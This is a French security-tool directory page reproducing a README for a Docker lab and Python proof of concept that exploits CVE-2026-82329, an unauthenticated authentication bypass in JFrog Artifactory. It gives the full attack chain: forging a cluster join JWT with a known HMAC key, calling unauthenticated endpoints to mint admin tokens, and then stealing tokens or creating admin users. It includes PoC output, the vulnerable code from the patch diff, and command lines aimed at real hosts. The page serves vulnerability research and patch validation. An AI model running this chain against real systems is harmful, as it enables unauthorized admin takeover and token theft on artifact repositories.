Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-82329-jfrog-artifactory — Lab Docker reproductible et PoC Python pour CVE-2026-82329, un contournement d'authentification non authentifié dans JFrog Artifactory menant à une prise de contrôle administrateur, avec analyse du diff de correctif et conseils de détection. | Kitploit
Outils/GitHubGitHub/dinosn/cve-2026-82329-jfrog-artifactory
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionSécurité CloudAuthentificationArticles et RechercheLabs et Pratique
GitHub
dinosn/cve-2026-82329-jfrog-artifactory

cve-2026-82329-jfrog-artifactory

Lab Docker reproductible et PoC Python pour CVE-2026-82329, un contournement d'authentification non authentifié dans JFrog Artifactory menant à une prise de contrôle administrateur, avec analyse du diff de correctif et conseils de détection.

Voir le dépôt
12427il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-82329 — Contournement d'authentification non authentifié JFrog Artifactory → prise de contrôle admin

CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · divulgué le 28/08/2026 · exploité dans la nature.

Un attaquant non authentifié, adjacent au réseau, génère un jeton d'accès administrateur de plateforme contre une instance JFrog Artifactory auto-hébergée par défaut. Ce répertoire contient un laboratoire Docker reproductible et un PoC validateur paramétré par URL.

Reproduit et vérifié A/B sur artifactory-oss 7.161.19 (vulnérable, JFrog Access 7.191.11) vs 7.161.20 (corrigé, JFrog Access 7.191.14).

La cause racine a été dérivée du correctif du fournisseur lui-même (diff de bytecode du service JFrog Access closed-source entre les deux images conteneur), puis prouvée en conditions réelles — non tirée d'aucun article tiers.


Chaîne d'exploitation TL;DR (entièrement non authentifiée)

  1. Forger un JWT « join » de cluster. JFrog Access vérifie les JWT join avec la clé de jointure de la plateforme utilisée comme secret HMAC. Un bug laisse une clé de jointure vide dans l'ensemble des vérificateurs de confiance sur une installation par défaut. getSigningKey("") = pkcs7(<vide>, 32) = 32 octets de 0x20 — un secret entièrement connu. Ainsi, n'importe qui peut signer un JWT join valide (alg=HS256, kid = SHA256(""), iat récent, service_id quelconque, skip_node_registration=true).
  2. POST /access/api/v1/registry/join (RegistryNoAuthResource — aucune authentification) → HTTP 201, renvoie un jeton SERVICE avec le scope admin (audience = Access).
  3. POST /access/api/v1/tokens avec ce jeton, scope=applied-permissions/admin&audience=* → un jeton d'accès administrateur de plateforme complet (c'est le comportement de « frappe de jetons admin » signalé dans la nature).
  4. L'utiliser — lire toute la configuration du serveur, lister/voler chaque jeton d'accès, et sur Pro/Enterprise créer des utilisateurs admin, des dépôts, etc.
$ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
[+] Étape 1  /registry/join           -> HTTP 201  jeton SERVICE généré (scp=admin)
[+] Étape 2  /access/api/v1/tokens    -> HTTP 200  jeton ADMIN (scp=applied-permissions/admin, aud=*)
[+] Étape 3  preuve de capacité admin :
      GET /artifactory/api/system/configuration -> HTTP 200 (18284 octets, admin uniquement ; sans auth=401)
      GET /access/api/v1/tokens (liste TOUS les jetons) -> HTTP 200 (admin uniquement)
[=] VULNÉRABLE - un attaquant non authentifié a obtenu ADMIN sur cette instance (CVE-2026-82329).

Cause racine (à partir du diff du correctif)

JFrog Access 7.191.11 → 7.191.14 a modifié exactement 12 classes. Celles pertinentes pour la sécurité :

1. Clé de jointure vide silencieusement approuvée — JoinKeyAccess.tryResolveJoinKeys()

// VULNÉRABLE (7.191.11)
Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
    JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey);            // jKey == "" autorisé
    joinKeyListValuesForContext.put(hashPair.getHash(), hashPair);   // clé vide ajoutée à l'ensemble de confiance
    log.warn("Ajout de la clé de jointure avec kid : {} aux clés de jointure supplémentaires", hashPair.getHash());
});

// CORRIGÉ (7.191.14)  -> les entrées vides sont filtrées
Arrays.stream(joinKey.get().split(",")).map(String::trim)
      .filter(Strings::isNotBlank)
      .forEach(...);

Sans clés de jointure supplémentaires configurées (le défaut), la valeur de configuration est "" ; "".split(",") produit [""], donc un JoinKeyHashPair vide (kid = SHA256("") = e3b0c442…b855) entre dans la carte des « clés de jointure supplémentaires » approuvées. JoinKeyHashPair a également été durci pour rejeter null/vide dans le constructeur.

Confirmé sur l'instance par défaut en conditions réelles — journal de démarrage du serveur :

o.j.a.s.s.JoinKeyAccess - Ajout de la clé de jointure avec kid :
    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 aux clés de jointure supplémentaires

Ce kid est exactement SHA256("").

2. La clé de jointure vide est un secret HMAC connu — JoinKeyUtils.getSigningKey()

public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
// remplissage pkcs7 d'une clé VIDE : padLength = 32  ->  32 octets, chacun == (byte)32 == 0x20

Ainsi, le JWT join pour la clé vide est signé avec HS256 sur 32 octets de 0x20 — connu de l'attaquant.

3. Le point de terminaison join non authentifié génère un jeton admin

RegistryNoAuthResource (@Path("/v1/registry"), sans @Authorized) :

@POST @Path("join")
public Response join(String jwtStr) {                    // corps = le JWT brut
    JwtToken token = this.joinService.join(jwtStr, ...); // valide : iat récent (<30s) + signature de clé de jointure
    return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
}

JoinServiceImpl → ServiceTokenProviderImpl.getToken() :

TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
    .subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();

Un jeton d'accès non expirant, à scope admin, signé RSA. Le jeton de service scope("admin") est ensuite autorisé à générer un jeton utilisateur complet applied-permissions/admin via POST /access/api/v1/tokens.

4. Durcissement corroborant — ProjectResource

Deux points de terminaison sont passés de @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN) (GET/DELETE {projectKey}/resources), confirmant que la primitive d'exploitation est une identité SERVICE forgée et que la surface autorisée SERVICE était surexposée.


Versions affectées / corrigées

Auto-hébergé uniquement (le cloud est déjà corrigé). Vulnérable ≤ la dernière version de chaque branche ci-dessous ; mettez à niveau vers le correctif associé :

BrancheVulnérable ≤Corrigé
7.1117.111.207.111.21
7.1177.117.277.117.28
7.1257.125.197.125.20
7.1337.133.287.133.29
7.1467.146.377.146.38
7.1617.161.197.161.20

Le correctif est fourni avec JFrog Access 7.191.14.


Reproduire (laboratoire)

Voir lab/README.md. En bref :

cd lab
ART_VER=7.161.19 docker compose up -d          # vulnérable (défaut) ; attendre ~3-4 min
until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> VULNÉRABLE

docker compose down
ART_VER=7.161.20 docker compose up -d          # contrôle corrigé
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> NON VULNÉRABLE (join HTTP 400)

Artifactory 7.161.x nécessite PostgreSQL (son service Access refuse le Derby intégré), donc le laboratoire inclut un sidecar postgres.


Valider une cible réelle

python3 poc/cve_2026_82329_poc.py http://<hôte-artifactory>:8082
python3 poc/cve_2026_82329_poc.py http://<hôte>:8082 --create-admin evil:P@ssw0rd1   # changement d'état Pro/Ent
python3 poc/cve_2026_82329_poc.py http://<hôte>:8082 --token-only                     # afficher un jeton admin

Pointez-le vers tout ce qui sert de frontal au JFrog Router (/access/… accessible). Il rapporte VULNÉRABLE (admin obtenu) ou NON VULNÉRABLE (join rejeté). Exécutez-le uniquement contre des systèmes que vous êtes autorisé à tester.


Détection / IOC

Télécharger l’outil